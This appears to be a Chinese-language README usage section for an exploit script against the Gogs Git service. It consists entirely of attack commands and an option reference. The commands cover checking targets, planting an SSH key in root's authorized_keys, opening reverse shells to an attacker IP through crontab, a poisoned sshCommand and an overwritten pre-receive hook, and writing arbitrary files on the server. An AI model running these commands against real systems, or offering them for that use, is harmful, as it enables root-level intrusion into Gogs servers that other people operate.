# 检查目标是否易受攻击（无需凭据）
python3 exploit.py http://target:3000 --check-only

# 策略 A：种植 SSH 密钥以获得 root 访问权限
python3 exploit.py http://target:3000 -u user -p pass \
    --rce-keys ~/.ssh/id_rsa.pub --cleanup

# 策略 B：Crontab 反弹 Shell
python3 exploit.py http://target:3000 -u user -p pass \
    --rce-cron --lhost 10.10.14.5 --lport 4444

# 策略 C：sshCommand 注入
python3 exploit.py http://target:3000 -u user -p pass \
    --rce-ssh --lhost 10.10.14.5 --lport 4444

# 策略 D：Git Hook 注入
python3 exploit.py http://target:3000 -u user -p pass \
    --rce-hook --lhost 10.10.14.5 --lport 4444

# 通用文件写入
python3 exploit.py http://target:3000 -u user -p pass \
    --write --target-file /tmp/pwned --content "proof-of-concept"

# 从本地文件写入
python3 exploit.py http://target:3000 -u user -p pass \
    --write --target-file /root/.ssh/authorized_keys \
    --content-file ~/.ssh/id_rsa.pub

target                  Gogs 基础 URL（例如 http://target:3000）

认证相关：
  -u, --user            Gogs 用户名
  -p, --password        Gogs 密码

RCE 策略：
  --rce-keys PUBKEY     种植 SSH 公钥 → /root/.ssh/authorized_keys
  --rce-cron            反弹 Shell → /etc/crontab
  --rce-ssh             污染 .git/config sshCommand 并触发
  --rce-hook            覆写 pre-receive hook 并触发
  --write               通用任意文件写入

连接 / Payload：
  --lhost LHOST         用于反弹 Shell 的攻击者 IP
  --lport LPORT         用于反弹 Shell 的攻击者端口
  --target-file PATH    要覆写的服务器端路径（--write 模式）
  --content STRING      要写入的内容
  --content-file FILE   要写入的本地文件

其他选项：
  --repo NAME           仓库名称（默认为随机）
  --cleanup             完成后删除利用仓库
  -o, --output FILE     报告文件（默认为 loot.json）
  --timeout SECONDS     请求超时（默认为 15）
  --proxy URL           用于调试的 HTTP 代理
  --check-only          仅检查目标是否为 Gogs，不进行利用